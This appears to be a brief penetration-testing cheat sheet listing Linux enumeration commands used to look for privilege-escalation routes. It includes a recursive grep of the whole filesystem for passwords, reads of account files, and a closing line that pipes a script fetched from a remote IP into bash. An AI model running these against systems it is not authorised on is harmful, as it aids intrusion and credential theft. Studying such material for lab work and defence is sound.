Situational Awareness

In this section we will show basic commands to gather enough information about our current situation and how we can use it to escalate privilege.


Current User

whoami
id

Users

cat /etc/passwd 
cat /etc/passwd | grep sh$

Groups

cat /etc/group

System Information

uname -a
cat /etc/issue
cat /etc/os-release

Network Information

ipconfig
ip -br a
route -n
ss -antop

Processes

ps aux 
ps auxf
pspy64
pspy

Installed Programs

dpkg -l    # For debian based systems

Files

Search for writable Files

find / -type f -writable -ls 2>/dev/null

Search for different file extensions

find / -type f -name '*.conf' 2>/dev/null

Search for specific strings in files

grep -i -R password / 2>/dev/null

Linpeas.sh

curl 10.10.14.161/linpeas.sh | bash

Last updated